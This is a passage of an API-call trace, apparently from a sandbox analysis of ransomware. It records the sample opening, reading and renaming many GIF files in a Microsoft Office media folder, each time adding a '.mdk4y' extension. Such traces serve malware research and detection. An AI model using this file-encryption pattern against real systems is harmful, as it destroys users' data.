[0183.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21294_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21294_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874300000) returned 1 [0183.513] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7a, lpOverlapped=0x0) returned 1 [0183.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874400000) returned 1 [0183.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874400000) returned 1 [0183.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif.mdk4y")) returned 1 [0183.515] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.515] AreFileApisANSI () returned 1 [0183.515] GetACP () returned 0x4e4 [0183.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21295_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21295_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.515] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874500000) returned 1 [0183.515] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x96, lpOverlapped=0x0) returned 1 [0183.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874600000) returned 1 [0183.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874600000) returned 1 [0183.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif.mdk4y")) returned 1 [0183.517] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.518] AreFileApisANSI () returned 1 [0183.518] GetACP () returned 0x4e4 [0183.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21296_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21296_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874800000) returned 1 [0183.518] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x94, lpOverlapped=0x0) returned 1 [0183.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874900000) returned 1 [0183.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874900000) returned 1 [0183.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif.mdk4y")) returned 1 [0183.520] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.520] AreFileApisANSI () returned 1 [0183.520] GetACP () returned 0x4e4 [0183.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21297_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21297_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875000000) returned 1 [0183.520] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x370, lpOverlapped=0x0) returned 1 [0183.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875200000) returned 1 [0183.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875200000) returned 1 [0183.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif.mdk4y")) returned 1 [0183.523] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.523] AreFileApisANSI () returned 1 [0183.523] GetACP () returned 0x4e4 [0183.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21298_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21298_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.523] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875400000) returned 1 [0183.524] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x65, lpOverlapped=0x0) returned 1 [0183.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875400000) returned 1 [0183.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875400000) returned 1 [0183.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif.mdk4y")) returned 1 [0183.525] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.525] AreFileApisANSI () returned 1 [0183.525] GetACP () returned 0x4e4 [0183.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21299_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21299_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.525] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875600000) returned 1 [0183.526] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4f, lpOverlapped=0x0) returned 1 [0183.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875700000) returned 1 [0183.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875700000) returned 1 [0183.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif.mdk4y")) returned 1 [0183.527] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.528] AreFileApisANSI () returned 1 [0183.528] GetACP () returned 0x4e4 [0183.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21300_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21300_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825875800000) returned 1 [0183.528] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8c, lpOverlapped=0x0) returned 1 [0183.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876000000) returned 1 [0183.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876000000) returned 1 [0183.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif.mdk4y")) returned 1 [0183.531] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.531] AreFileApisANSI () returned 1 [0183.531] GetACP () returned 0x4e4 [0183.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21301_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21301_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876200000) returned 1 [0183.532] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcc, lpOverlapped=0x0) returned 1 [0183.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876200000) returned 1 [0183.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876200000) returned 1 [0183.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif.mdk4y")) returned 1 [0183.533] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.533] AreFileApisANSI () returned 1 [0183.533] GetACP () returned 0x4e4 [0183.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21302_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21302_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.534] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876600000) returned 1 [0183.536] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11d, lpOverlapped=0x0) returned 1 [0183.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876700000) returned 1 [0183.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876700000) returned 1 [0183.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif.mdk4y")) returned 1 [0183.537] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.537] AreFileApisANSI () returned 1 [0183.537] GetACP () returned 0x4e4 [0183.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21304_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21304_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.538] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876800000) returned 1 [0183.538] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24f, lpOverlapped=0x0) returned 1 [0183.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876900000) returned 1 [0183.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825876900000) returned 1 [0183.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif.mdk4y")) returned 1 [0183.540] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.540] AreFileApisANSI () returned 1 [0183.540] GetACP () returned 0x4e4 [0183.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21306_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21306_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825877000000) returned 1 [0183.541] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24f, lpOverlapped=0x0) returned 1 [0183.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825877100000) returned 1 [0183.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825877100000) returned 1 [0183.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif.mdk4y")) returned 1 [0183.542] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.542] AreFileApisANSI () returned 1 [0183.542] GetACP () returned 0x4e4 [0183.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21308_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21308_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.542] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825877300000) returned 1 [0183.543] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d7, lpOverlapped=0x0) returned 1 [0183.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825878700000) returned 1 [0183.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825878700000) returned 1 [0183.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif.mdk4y")) returned 1 [0183.558] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.558] AreFileApisANSI () returned 1 [0183.558] GetACP () returned 0x4e4 [0183.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21310_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21310_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825878900000) returned 1 [0183.559] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d4, lpOverlapped=0x0) returned 1 [0183.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879100000) returned 1 [0183.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879100000) returned 1 [0183.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif.mdk4y")) returned 1 [0183.562] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.562] AreFileApisANSI () returned 1 [0183.562] GetACP () returned 0x4e4 [0183.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21312_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21312_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.562] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879200000) returned 1 [0183.562] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x101, lpOverlapped=0x0) returned 1 [0183.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879300000) returned 1 [0183.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879300000) returned 1 [0183.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif.mdk4y")) returned 1 [0183.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.564] AreFileApisANSI () returned 1 [0183.564] GetACP () returned 0x4e4 [0183.564] WideCharToMultiByte (in: CodePage=0x4e4, 